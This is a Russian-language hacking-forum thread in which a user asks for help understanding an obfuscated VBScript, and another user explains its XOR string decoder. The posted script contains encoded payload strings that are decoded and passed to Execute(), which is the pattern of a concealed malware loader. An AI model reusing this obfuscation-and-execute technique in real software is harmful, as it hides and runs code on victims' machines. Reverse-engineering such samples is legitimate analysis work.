• XSS.stack #1 – первый литературный журнал от юзеров форума

Vbs головоломка

diletant

(L2) cache
Пользователь
Регистрация
14.01.2021
Сообщения
318
Реакции
164
Никак не пойму логику скрипта.

Понимаю очень четко ,что :
0) Берёт строчку и разбивает в массив
1) Начинает перебирать массив и берёт каждое пятое вхождение.
2) Что-то бесконечно хорит))

Дальше мои попытки реверса не дали мне результата.Я пытался понять,что он там творит путём отлова записей в текст.документы.
Но окончательно логики так и не смог понять. В одной из функции,я более менее получаю читаемый код,но там потеря символов идёт.
Конечный код мне известен и не интересен.А вот логика непонятна...

З.Ы Автор по любому здесь тусует))) ау,где ты.

Код:
Public Function kfnj7g(str)
w3xu1udo = "blbc0noo"
result = ""
qwza8qiv = 0
rz0k2t3k = Split(str, "c2", -1, 0)
For gijtk9k5 = 0 To UBound(rz0k2t3k)
If gijtk9k5 Mod 5 = 0 Then
iuwfeexy = rz0k2t3k(gijtk9k5)
For gijtk9k53 = 0 To Len(w3xu1udo) - 1
s98xal3j = Mid(w3xu1udo, gijtk9k53 + 1, 1)
iuwfeexy = iuwfeexy Xor Asc(s98xal3j)
Next
result = result + Chr(iuwfeexy)
Else
dz3dntz9 = Mid(w3xu1udo, qwza8qiv + 1, 1)
mxpwxwuj = Asc(dz3dntz9)
result = result + Chr(rz0k2t3k(gijtk9k5) Xor mxpwxwuj)
End If
If qwza8qiv < Len(w3xu1udo) - 1 Then
qwza8qiv = qwza8qiv + 1
Else: qwza8qiv = 0
End If
Next
kfnj7g = result
End Function
Public Function r5pu0yuq(st)
Execute (st)
r5pu0yuq = st
End Function
cibbeati = cibbeati + ((kfnj7g("118c262c27c214c295c237c210c279c223c230c261c267c271c26c210c235c27c276c276c26c241c211c279c231c23c240c214c212c281c210c2113c23c213c215c23c237c285c210"))) & vbCrLf
cibbeati = cibbeati + ((kfnj7g("4c230c214c267c213c2113c277c27c222c224c233c216c210c265c264c253c213c227c212c215c262c215c211c292c276c241c227c225c231c28c2126c226c218c28c222c2124c271c27c21c295c2124c295c21c286c281c252c288c29c21c265c2104c25c282c288c266c2104c23c210c283c276c248c210c213c295c291c258c215c246c2124c264c252c223c27c278"))) & vbCrLf
cibbeati = cibbeati + ((kfnj7g("23c225c212c20c268c256c20c21c266c232c262c212c291c247c227c2121c221c21c211c248c252c228c225c26c21c252c275"))) & vbCrLf
cibbeati = cibbeati + ((kfnj7g("2c29c222c267c283c262c23c238c222c29c260c216c216c283c279c238c215c25c249c26c235c224c26c212c27c2127c239c227c285c213c20c226c27c230c227c2121c218c261c210c23c252c215c222c267c226c2113c29c229c213c21c2113c252c289c20c292c299c261c260c216c212c250c211c228c228c264c2120"))) & vbCrLf
 
Вот эта функция в читаемом виде,

есть ключ шифрования, есть набор входных значений, входные значения разделены символами с2

Бежим по всем входным значениям, каждый 5й символ расшифровываем одним способом, все остальные вторым способом.
Объединяем все символы и получаем итоговую строку


Код:
Public Function decode(str)
    encKey = "blbc0noo"
    result = ""
    i = 0
    
    codes = Split(str, "c2", -1, 0)
    
    For index = 0 To UBound(codes)
    
        code = codes(index)
    
        If index Mod 5 = 0 Then
                
            # Первый способ   
            For j = 0 To Len(encKey) - 1
                key = Mid(encKey, j + 1, 1)
                code = code Xor Asc(key)
            Next
                
            result = result + Chr(code)
        Else
        
            # Второй способ
            key = Mid(encKey, i + 1, 1)
            result = result + Chr(code Xor Asc(key))
        End If
        
        If i < Len(encKey) - 1 Then
            i = i + 1
        Else:
            i = 0
        End If
    Next
    decode = result
End Function
 
хорош! вот я зациклился в блоке then и наверное совсем пропустил блок else. По этмоу и выходило,что часть символов куда-то девалось. Ты не автор?))) код вообще хороший
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх